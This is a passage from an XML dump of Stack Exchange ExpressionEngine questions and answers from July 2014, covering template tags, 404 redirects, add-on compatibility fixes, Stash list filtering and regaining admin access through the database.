&lt;code&gt;url_title&lt;/code&gt; fields to have better results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot; url_title=&quot;{segment_2}&quot;}&#xA; {title}&#xA; ... Other tags here ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even better you can add a redirect to the 404 page if the URL title is not valid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot; url_title=&quot;{segment_2}&quot;}&#xA;  {if no_results}&#xA;    {redirect=&quot;products/noresultsfound&quot;}&#xA;  {/if}&#xA;&#xA;  {title}&#xA;  ... Other tags here ...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should prevent EE from showing you the wrong entry. The next step would be to setup some 301 Redirects in either you .htaccess file or using an add-on such as &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; to direct the user from the wrong URL to the correct URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.htaccess &#xA;Redirect 301 products/generation3-product www.example.com/products/g3-product&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-07-10T20:09:47.750" LastActivityDate="2014-07-10T20:09:47.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24300" PostTypeId="2" ParentId="24291" CreationDate="2014-07-10T04:37:52.453" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;Exp:resso Store since 2.3.0 requires that you are running ExpressionEngine 2.8+&lt;/a&gt;. What version of EE are you running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using 2.6+ than Store is using a now depreciated function. On line 342, you should see something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;ee-&amp;gt;localize-&amp;gt;convert_human_date_to_gmt($var);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;localize-&amp;gt;string_to_timestamp($var);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're unsure what you need to modify (as I don't have access Store's source code) post the full line #342 from OrdersController.php.&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2014-07-10T10:02:19.793" LastActivityDate="2014-07-10T10:02:19.793" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24301" PostTypeId="2" ParentId="24288" CreationDate="2014-07-10T07:35:28.913" Score="0" Body="&lt;p&gt;In the case of Structure you should just be able to update to the recent version which I believe works fine with 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not so sure about Champagne but it's likely the most recent version will work at least enough to allow you to remove it. Check their support as even if there isn't a working release version there is highly likely to be a quick patch you cam make to the current version.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-10T07:35:28.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24302" PostTypeId="2" ParentId="24292" CreationDate="2014-07-10T07:50:09.643" Score="0" Body="&lt;p&gt;I can't comment on precisely how to do it with Expresso Store but my gut feeling is you'd need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Write an add-on which would 'get' the CSV data, parse it, and update product stock levels within Expresso Store (I don't know how you would do this).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up some kind of Cron job to run that add-on periodically (so it updates the stock levels on the site based on the data from the client).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get your client to give you some means to post back updated stock levels when someone purchases a product and have them arrange for their system to update.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-10T07:50:09.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24303" PostTypeId="2" ParentId="24285" CreationDate="2014-07-10T09:36:23.427" Score="1" Body="&lt;p&gt;Problem solved. I had managed to mix up my admin files. &lt;/p&gt;&#xA;" OwnerUserId="1728" LastActivityDate="2014-07-10T09:36:23.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24304" PostTypeId="2" ParentId="24291" CreationDate="2014-07-10T09:54:36.487" Score="1" Body="&lt;p&gt;I have encountered this problem as well it seems that EE (convert_human_date_to_gmt)  deprecated this function in version 2.6.0 . I am not sure when the next store update will be rolling out to fix this issue but in the mean time you can change it to this (string_to_timestamp) instead&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2014-07-10T09:54:36.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24305" PostTypeId="2" ParentId="20412" CreationDate="2014-07-10T11:50:41.863" Score="5" Body="&lt;p&gt;Zenbu on its own will show what is stored in &lt;code&gt;exp_channel_data&lt;/code&gt;. Store isn't supported per-se, but can be made more compatible by adding Zenbu support by the third-party add-on developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot;&gt;Store's release notes&lt;/a&gt;, it doesn’t look like full Zenbu support has been added (as of this writing).&#xA;I recommend contacting the developers of Store and ask for Zenbu support.&#xA;&lt;a href=&quot;http://zenbustudio.com/software/dev/zenbu&quot;&gt;Developer documentation for Zenbu has been available for a while&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness, here are some &lt;a href=&quot;http://zenbustudio.com/software/faq/zenbu&quot;&gt;answers from the FAQ section on zenbustudio.com&lt;/a&gt; on the subject:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;My custom field does not display as expected, why is that?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By default, Zenbu displays data as it is found in the exp_channel_data database table. A few common custom fields have extended support which shows an enhanced display based off the exp_channel_data data. Customized Zenbu display support for third-party fieldtypes can be easily added by third-party developers by adding Zenbu functions in the third-party add-on’s code. Documentation for adding third-party field support for Zenbu can be found &lt;a href=&quot;http://zenbustudio.com/software/dev/zenbu&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Does Zenbu support (insert third-party add-on here)?&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Natively within Zenbu, likely no. Only a few custom fields have support within Zenbu (including native EE custom fields). Other custom fields will at least display the contents of exp_channel_data by default. Customized Zenbu display support for third-party fieldtypes can be easily added by third-party developers by adding Zenbu functions in the third-party add-on’s code. Documentation for adding third-party field support for Zenbu can be found &lt;a href=&quot;http://zenbustudio.com/software/dev/zenbu&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="607" LastActivityDate="2014-07-10T11:50:41.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24307" PostTypeId="2" ParentId="24226" CreationDate="2014-07-10T13:01:24.267" Score="0" Body="&lt;p&gt;You'll have to use the default &lt;code&gt;{field:my_field_name}&lt;/code&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into the same problem trying the add checkboxes to a form. Turns out the field doesn't hold any data, because it is in fact still empty. You can write your own custom plugin to get that data or use field:my_field_name.&lt;/p&gt;&#xA;" OwnerUserId="1192" LastActivityDate="2014-07-10T13:01:24.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24310" PostTypeId="1" CreationDate="2014-07-10T14:11:32.737" Score="0" ViewCount="689" Body="&lt;p&gt;With Freeform, I know that when the user submits a form entry, you can set up an email notification that sends all the data they entered to them in an email message. Is it possible to also have their information display on screen after they submit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email is just not as dependable as it once was, so I'm trying to have a backup &quot;Print this page now for your records&quot; type of option - just in case the notification email gets lost.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="884" LastEditDate="2014-07-11T14:50:58.383" LastActivityDate="2015-04-08T07:32:27.387" Title="Display Data on Screen after Form Submission using Solspace Freeform Pro" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24311" PostTypeId="2" ParentId="24226" CreationDate="2014-07-10T14:34:08.017" Score="1" Body="&lt;p&gt;Kindly got an answer from the great guys over at Pixel and Tonic. You need to add this to your expressionengine config file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['safecracker_option_fields'][] = 'fieldpack_checkboxes';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_radio_buttons';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_dropdown';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_multiselect';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_pill';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that has been added to your config file, you can use P&amp;amp; T Dropdown with channel forms using this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:my_field_name}&#xA;     &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_value}&amp;lt;/option&amp;gt;&#xA;{/options:my_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can use the P&amp;amp;T Checkboxes using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:my_field_name}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; id=&quot;{my_field_name}&quot; name=&quot;{my_field_name}[]&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;{option_value}&#xA;    &amp;lt;/label&amp;gt;&#xA;{/options:my_field_name} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have both the dropdown and checkboxes working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T.&lt;/p&gt;&#xA;" OwnerUserId="940" LastActivityDate="2014-07-10T14:34:08.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24312" PostTypeId="2" ParentId="24265" CreationDate="2014-07-10T15:12:26.573" Score="0" Body="&lt;p&gt;jpea's answer here is spot on, but since you asked me for more help, Justin, here is a pared-down example of how I build my category links and then filter the entries. There are lots of other ways to do this, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a template somewhere, generate your category links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories channel=&quot;blog&quot; disable=&quot;category_fields&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/blog/category/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your blog listing template where you display your posts (&lt;em&gt;blog.group/index.html&lt;/em&gt;), set your &lt;code&gt;channel:entries&lt;/code&gt; loop up like this. You will need to have &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;LowSeg2Cat&lt;/a&gt; installed and enabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Blog{if segment_2 == &quot;category&quot;} Category: {segment_3_category_name}{/if}&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    {if segment_2 == &quot;category&quot;}&#xA;        category=&quot;{segment_3_category_id}&quot;&#xA;    {/if}&#xA;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the simple conditional in the channel:entries parameters that checks for the presence of a category filter. If you are not filtering by categories then it will just display an unfiltered list of all blog entries.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-07-11T01:58:27.740" LastActivityDate="2014-07-11T01:58:27.740" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24313" PostTypeId="2" ParentId="24016" CreationDate="2014-07-10T15:18:31.977" Score="1" Body="&lt;p&gt;Without knowing the details of your install and project, this questions is pretty impossible to answer in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure you change &lt;code&gt;$config['site_url'] = &quot;http://domain.com/&quot;;&lt;/code&gt; to &lt;code&gt;$config['site_url'] = &quot;/&quot;;&lt;/code&gt; in your config file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['site_url'] = &quot;//domain.com/&quot;;&lt;/code&gt; may work also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't do it, you'll need to identify the exact resources that are loading with http:// and track backwards in the code to see how those URLs are generated. You'll then know your options.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-07-10T21:23:23.490" LastActivityDate="2014-07-10T21:23:23.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24314" PostTypeId="1" AcceptedAnswerId="24462" CreationDate="2014-07-10T15:23:25.803" Score="0" ViewCount="147" Body="&lt;p&gt;We are in the process of upgrading from EE 2.7.3 to 2.8.1 and during testing we have found several variables that are not working or parsing after the upgrade. Specifically, &lt;code&gt;{gmt_comment_date]&lt;/code&gt; and &lt;code&gt;{total_comments}&lt;/code&gt;. Total comments seems to always return '0' and &lt;code&gt;{gmt_comment_date]&lt;/code&gt; doesn't parse, just returning a result like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gmt_comment_date format='%D, %d %M %Y %H:%i:%s %O'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test things I created the following code block on my single entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; orderby=&quot;date&quot; paginate=&quot;bottom&quot; channel=&quot;tmo_articles&quot; paginate_base=&quot;tmo/article&quot;}&#xA;    TOTAL COMMENTS: {total_comments} &amp;lt;br/&amp;gt;&#xA;    {gmt_comment_date format='%D, %d %M %Y %H:%i:%s %O'}&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The results looked like this when I viewed them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TOTAL COMMENTS: 0 &#xA;{gmt_comment_date format='%D, %d %M %Y %H:%i:%s %O'}&#xA;TOTAL COMMENTS: 0 &#xA;{gmt_comment_date format='%D, %d %M %Y %H:%i:%s %O'}&#xA;TOTAL COMMENTS: 0 &#xA;{gmt_comment_date format='%D, %d %M %Y %H:%i:%s %O'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other variables do seem to work fine. &lt;code&gt;{comment_date}&lt;/code&gt; works in the same code without issue. Also If I use &lt;code&gt;{comment}&lt;/code&gt; the comments themselves are displayed without issue. I checked the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/comment/#gmt-comment-date&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for the Comment module and it still shows all these variables as valid. Does anyone know why just these specific variable aren't parsing properly anymore?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-07-16T21:58:10.680" Title="Comment Variables not working after EE 2.8.1 upgrade" Tags="|upgrade|comments|2.8|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24315" PostTypeId="1" AcceptedAnswerId="24316" CreationDate="2014-07-10T15:52:27.973" Score="1" ViewCount="150" Body="&lt;p&gt;I have a channel called stories and a menu.html that includes the stories by looping through all the entries and adding all those that have a &quot;yes&quot; add to menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works on the main index.html template list for the channel (via embed). However in single.html (the displays only one entry) the embedded menu.html only displays the menu link associated with the entry shown - it needs to show all the stories. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code for menu.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          {exp:channel:entries &#xA;            channel='stories' &#xA;            orderby='stories_item_date' &#xA;            sort=&quot;desc&quot; }&#xA;&#xA;              &amp;lt;?php &#xA;                  $list_menu = 'Yes';&#xA;                  if ($list_menu == '{testimony_menu}') {&#xA;&#xA;                    $current_page = '{testimony_no}';&#xA;                    $menuID = '{testimony_menu_id}';&#xA;                    if ($current_page == $menuID)&#xA;                    {&#xA;                      echo &quot;&amp;lt;section class='section active'&amp;gt;&quot;;&#xA;                    }&#xA;                    else { &#xA;                      echo &quot;&amp;lt;section class='section'&amp;gt;&quot;;&#xA;                    }&#xA;              ?&amp;gt;&#xA;                  &amp;lt;p class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path=&quot;stories/single&quot;}&quot; title=&quot;{testimony_chapter_title}&quot;&amp;gt;{testimony_chapter_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/section&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;          {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2014-07-10T15:56:01.293" Title="List all channel entries in a Single Template menu?" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24316" PostTypeId="2" ParentId="24315" CreationDate="2014-07-10T15:56:01.293" Score="2" Body="&lt;p&gt;Try adding dynamic=&quot;no&quot; to your channel:entries loop&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-07-10T15:56:01.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24317" PostTypeId="2" ParentId="24293" CreationDate="2014-07-10T16:20:17.897" Score="1" Body="&lt;p&gt;With Justin pointing me in the right direction, I was able to figure out the PHP error for no object created (yet)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot; url_title=&quot; {segment_2}&quot;}&#xA;{if no_results}&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;location.href = &quot;http://&quot;+document.location.host+&quot;/products/noresultsfound/b90b6368c787883a8c707cf36870162a/&quot;;&amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If no entries match, then javascript will redirect to the products no result template&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-10T16:20:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24319" PostTypeId="2" ParentId="24274" CreationDate="2014-07-10T16:46:39.910" Score="0" Body="&lt;p&gt;I found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to use Yuri's Social Login module to achieve what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon registration via FB a password is not set by the module, and Yuri has it setup so you can optionally set a password after they're logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the extra good news is if someone is an existing EE member and their FB email matches their EE one, they can sign in with FB to that same account making things seem less, giving you the ability to have FB login and a traditional login working side by side.&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2014-07-10T16:46:39.910" CommentCount="0" CommunityOwnedDate="2014-07-10T16:46:39.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="24320" PostTypeId="1" AcceptedAnswerId="24354" CreationDate="2014-07-10T16:53:53.217" Score="0" ViewCount="140" Body="&lt;p&gt;As you have probably seen by my somewhat regular postings, I am a newbie to EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The company that I work has all of their web sites using EE and some of the sites have not been updated or worked on for years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been asked to update an entry on one particular web site but the credentials for logging into the domain.com/system are not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to the db and I have tried to duplicate the member with admin group id = 1, followed by going through the forgot password steps, except this time, it should be going to my email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not receiving any emails at all from EE to reset&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made the duplicate entry with the exception of the email address within the table exp_members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere else in the tables that I alter to make this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can use the salt, crypt_key and password to retrieve the password set by the former admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As usual, thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-11T17:23:11.093" Title="Trying to login via database" Tags="|login|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24321" PostTypeId="1" CreationDate="2014-07-10T18:10:31.800" Score="0" ViewCount="88" Body="&lt;p&gt;I have a channel with a playa entry within that playa I call a matrix and a playa level i need to come back up a level within the matrix/playa loop. Can any one help me with the correct syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Here is my simplified code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:playa:children field=&quot;3rd_order_under&quot; var_prefix=&quot;thirdorder_playa&quot;}&#xA;&#xA;         &amp;lt;h5&amp;gt;{thirdorder_playa:title}&amp;lt;/h5&amp;gt;   &#xA;&#xA;            {thirdorder_playa:discipline_3rd_order var_prefix=&quot;discipline_matrix&quot;}&#xA;                {discipline_matrix:m_p_discipline var_prefix=&quot;mx_disipline_playa&quot;}&#xA;&#xA;                     &amp;lt;!-- example from the discpline channel --&amp;gt;&#xA;                     {mx_disipline_playa:discipline_description}&#xA;&#xA;                      &amp;lt;!-- now here where i want to call a different playa within the &quot;thirdorder_playa&quot; --&amp;gt;&#xA;                {thirdorder_playa:exp:playa:children field=&quot;4th_order_under_3rd_order&quot; sort=&quot;asc&quot; var_prefix=&quot;fourthorder&quot;}&#xA;                       {fourthorder:title} &#xA;               {/thirdorder_playa:exp:playa:children}  &amp;lt;/p&amp;gt; &#xA;&#xA;&#xA;                {/discipline_matrix:m_p_discipline}&#xA;            {/thirdorder_playa:discipline_3rd_order}&#xA;&#xA;  {/exp:playa:children} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-07-11T17:44:12.197" LastActivityDate="2016-06-19T10:00:36.087" Title="Two playa levels deep and need to come up a playa mid loop" Tags="|matrix|playa|nesting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24324" PostTypeId="1" AcceptedAnswerId="24326" CreationDate="2014-07-10T20:09:52.510" Score="1" ViewCount="105" Body="&lt;p&gt;This one's got me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Stash to capture a list of entries into a set_list. I want to get this list in two different areas on the page with different categories. If I were simply trying to display 2 different categories, match/against would work. However, what I'm trying to do seems to be a little more complicated. Here's what I want: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the first get_list, I want to &lt;strong&gt;show entries from all but one category&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the second get_list, I want to &lt;strong&gt;show entries from the the single category I excluded in the first list&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The exact scenario is that I would like one list to show &lt;strong&gt;all articles&lt;/strong&gt;, and the other list to show &lt;strong&gt;only announcements&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm starting off with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Articles --}&#xA;{exp:stash:set_list name=&quot;articles&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;news&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;sticky|entry_date&quot;&#xA;        sort=&quot;desc|desc&quot;&#xA;        sort_type=&quot;numeric|numeric&quot;&#xA;        disable=&quot;pagination|member_data|category_fields&quot;&#xA;    }&#xA;        {stash:sticky}{sticky}{/stash:sticky}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:summary}{article_summary}{/stash:summary}&#xA;        {stash:date}{entry_date}{/stash:date}&#xA;        {stash:url}{page_url}{/stash:url}&#xA;        {stash:image}{article_featured_image}{/stash:image}&#xA;&#xA;        {!-- Get the category_id so we can match against them --}&#xA;        {stash:category_id}{categories}{category_id}{/categories}{/stash:category_id}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, that gives me my list of &lt;strong&gt;all articles&lt;/strong&gt;. For my second list, it's as simple as using match/against to only show announcments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;articles&quot; match=&quot;#^13#&quot; against=&quot;category_id&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;&amp;lt;i class=&quot;ss-icon ss-newspaper&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;span class=&quot;meta&quot;&amp;gt;{date format=&quot;%M %d, %Y&quot;}&amp;lt;/span&amp;gt; {title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's the first list where I'm stumped. How do I capture &lt;strong&gt;all entries &lt;em&gt;except&lt;/em&gt; for those in category 13&lt;/strong&gt; without having to make another channel entries call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could just create 2 separate set_lists with 2 separate channel entry calls. One which has category=&quot;not 13&quot; and another with category=&quot;13&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also thought I could wrap 2 set_lists in the {cateogries} tag and, again use show=&quot;13&quot; and show=&quot;not 13&quot;, but I don't see a way to do that without repeating my stash variable setters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep this at a single channel entry call and keep it DRY?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;romans-8-31-39 pointed out a feature I didn't know existed, which was to NOT match a pattern when filtering a list. That answer is technically correct. When I went to implement that, I realized I'm already using match/against on my first list to match against sticky entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be a use case for &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Filtering%20lists%20with%20match%20against&quot; rel=&quot;nofollow&quot;&gt;the stash technique outlined here&lt;/a&gt;? I'm having a hard time wrapping my head around the technique.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-07-10T21:20:18.883" LastActivityDate="2014-07-10T22:04:42.380" Title="Show entries in a single category and then again in all categories except the previously excluded category" Tags="|categories|stash|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24325" PostTypeId="2" ParentId="24320" CreationDate="2014-07-10T21:03:35.727" Score="0" Body="&lt;p&gt;There are a bunch of ways to approach this, but to continue with the method you started...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each member has an row, not just in exp_members, but also in exp_member_data and exp_member_homepage.  The password reset email may be failing due to a the inability to complete a JOIN on these tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get your method to work I'd start by making sure you have a matching record in each of these three tables.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-07-10T21:03:35.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
